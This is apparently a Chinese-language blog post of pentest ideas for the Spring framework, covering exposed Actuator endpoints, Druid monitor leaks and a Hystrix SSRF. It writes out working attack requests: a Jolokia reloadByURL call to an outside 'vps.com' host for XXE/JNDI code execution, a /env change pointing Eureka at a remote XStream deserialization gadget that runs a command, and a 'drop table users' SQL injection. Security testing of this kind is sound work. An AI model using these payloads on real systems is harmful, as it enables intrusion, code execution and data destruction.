spring框架的一些測試思路

一.Spring Boot Actuators

Spring Boot Actuator是Spring Boot提供的對應用系統的監控和管理的集成功能,可以查看應用配置的詳細信息,例如自動化配置信息、創建的Spring beans信息、系統環境變量的配置信以及Web請求的詳細信息等。如果使用不當或者一些不經意的疏忽,可能造成信息泄露等嚴重的安全隱患。

當Spring Boot應用程序運行時,它會自動將多個端點例如/health,/trace,/beans,/env等註冊到路由過程中。對於Spring Boot 1-1.4,無需身份驗證即可訪問它們,從而導致嚴重的安全性問題。從Spring 1.5版開始,默認情況下,除/health和/info之外的所有端點都被視爲敏感和不安全的,但是應用程序開發人員經常禁用此安全性。

以下Actuator端點可能會帶來安全隱患,從而導致可能的漏洞:

路徑 描述
/autoconfig 提供了一份自動配置報告,記錄哪些自動配置條件通過了,哪些沒通過
/beans 描述應用程序上下文裏全部的Bean,以及它們的關係
/env 獲取全部環境屬性
/configprops 描述配置屬性(包含默認值)如何注入Bean
/dump 獲取線程活動的快照
/logfile 輸出日誌文件的內容
/restart 重新啓動應用程序
/mappings 描述全部的URI路徑,以及它們和控制器(包含Actuator端點)的映射關係
/metrics 報告各種應用程序度量信息,比如內存用量和HTTP請求計數
/shutdown 關閉應用程序,要求endpoints.shutdown.enabled設置爲true
/trace 提供基本的HTTP請求跟蹤信息(時間戳、HTTP頭等)

對於Spring 1x,它們在根目錄下注冊,而在2x中,它們移至/actuator/路徑。

一些可能獲取shell的方法

1.通過/jolokia執行遠程代碼

Jolokia庫使用用戶提供的輸入來啓動LDAP/RMI連接,在jolokia/list目錄搜索logback組件

logback組件提供的reloadByURL 操作使我們可以從外部URL重新加載日誌配置,只需要訪問

http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/vps.com!/logback.xml

因爲日誌配置爲xml格式,當logback啓用外部實體時,會對其進行解析,可以實現盲XXE。

logback配置具有從JNDI獲取變量的功能,在XML文件中,我們可以包含一個標籤,例如並且name屬性將傳遞到DirContext.lookup()方法。如果我們可以在 .lookup()函數中提供一個任意名稱,那麼我們甚至不需要XXE或HeapDump,因爲它爲我們提供了完整的Remote Code Execution

2.通過/env修改配置
POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
eureka.client.serviceUrl.defaultZone=http://vps.com/n/xstream

先執行上面請求將Eureka serviceURL修改爲任意值,然後請求/refresh。如果Eureka-Client <1.8.7則可以利用XStream反序列化漏洞,服務器上xstream的內容爲:

<linked-hash-set>
  <jdk.nashorn.internal.objects.NativeString>
    <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
      <dataHandler>
        <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
          <is class="javax.crypto.CipherInputStream">
            <cipher class="javax.crypto.NullCipher">
              <serviceIterator class="javax.imageio.spi.FilterIterator">
                <iter class="javax.imageio.spi.FilterIterator">
                  <iter class="java.util.Collections$EmptyIterator"/>
                  <next class="java.lang.ProcessBuilder">
                    <command>
                      <string>whoami</string>
                    </command>
                    <redirectErrorStream>false</redirectErrorStream>
                  </next>
                </iter>
                <filter class="javax.imageio.ImageIO$ContainsFilter">
                  <method>
                    <class>java.lang.ProcessBuilder</class>
                    <name>start</name>
                    <parameter-types/>
                  </method>
                  <name>foo</name>
                </filter>
                <next class="string">foo</next>
              </serviceIterator>
              <lock/>
            </cipher>
            <input class="java.lang.ProcessBuilder$NullInputStream"/>
            <ibuffer></ibuffer>
          </is>
        </dataSource>
      </dataHandler>
    </value>
  </jdk.nashorn.internal.objects.NativeString>
</linked-hash-set>

其他有用的設置

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 65
 
spring.datasource.tomcat.validationQuery=drop+table+users

此請求可以執行任意SQL語句

有一個要注意的地方在Spring Boot 2x中通過/env的請求方式爲json格式

/swagger-ui.html接口泄露

可測試有誤未授權接口,接口有無注入。

二.Druid

druid是國內及公司內部最常用的數據庫連接池配置管理工具;其內置監控頁面,用於攔截sql及實時監控連接池/sql信息,該頁面在原生的druid包中默認爲禁用,但其用於適配springboot的druid-spring-boot-starter包,默認打開該監控頁面(http://ip:port/druid/index.html) ,打開後存在如下風險:

泄漏DB域名、使用用戶及庫名:

泄漏SQL信息:

泄露session:

三.hystrix監控

存在一處ssrf
Hystrix除了實現容錯之外,還提供了近乎實時的監控。Hystrix Command和HystrixObservableCommand在執行時,會會生成執行結果和運行指標,比如每秒的請求數和成功數等,這些監控數據對於分析系統請求的調用情況很有用。

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章